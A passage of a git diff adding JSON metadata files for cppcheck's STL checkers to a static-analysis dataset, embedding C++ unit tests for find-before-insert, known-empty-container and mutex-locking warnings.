1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlOutOfBounds.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlOutOfBounds.json new file mode 100644 index 0000000..c20475b --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlOutOfBounds.json @@ -0,0 +1,13 @@ +{ + "name": "stlOutOfBounds", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 72, + "branches": 28, + "apis": 87, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/string_c_str.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/string_c_str.json new file mode 100644 index 0000000..d950e29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/string_c_str.json @@ -0,0 +1,13 @@ +{ + "name": "string_c_str", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 186, + "branches": 80, + "apis": 290, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/useStlAlgorithm.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/useStlAlgorithm.json new file mode 100644 index 0000000..a49f163 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/useStlAlgorithm.json @@ -0,0 +1,13 @@ +{ + "name": "useStlAlgorithm", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 222, + "branches": 92, + "apis": 175, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/uselessCalls.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/uselessCalls.json new file mode 100644 index 0000000..f51fc35 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/uselessCalls.json @@ -0,0 +1,22 @@ +{ + "name": "uselessCalls", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 56, + "branches": 26, + "apis": 113, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 4618 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer 